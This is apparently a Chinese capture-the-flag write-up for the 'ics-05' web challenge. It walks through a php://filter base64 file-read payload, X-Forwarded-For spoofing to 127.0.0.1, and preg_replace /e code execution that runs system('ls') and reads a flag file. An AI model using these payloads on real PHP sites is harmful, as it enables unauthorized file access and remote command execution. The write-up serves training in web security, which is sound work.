ics-05
打开页面查看源码,发现” index.php”,进入后发现”?page=index”
index.php?page=php://filter/read=convert.base64-encode/resource=index.php
尝试使用 “page=php://filter” 读取文件
网站回显一段 base64 编码的字符串,解码得到 php 代码
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?>
抓包构造 X-Forwarded-For 为 127.0.0.1,preg_replace()函数会搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换,但/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码
构造
?pat=/test/e&rep=system("ls")&sub=just test
可以看到成功执行了 ls 命令
?pat=/test/e&rep=system("cat s3chahahaDir/flag/flag.php&& ls")&sub=just test


浙公网安备 33010602011771号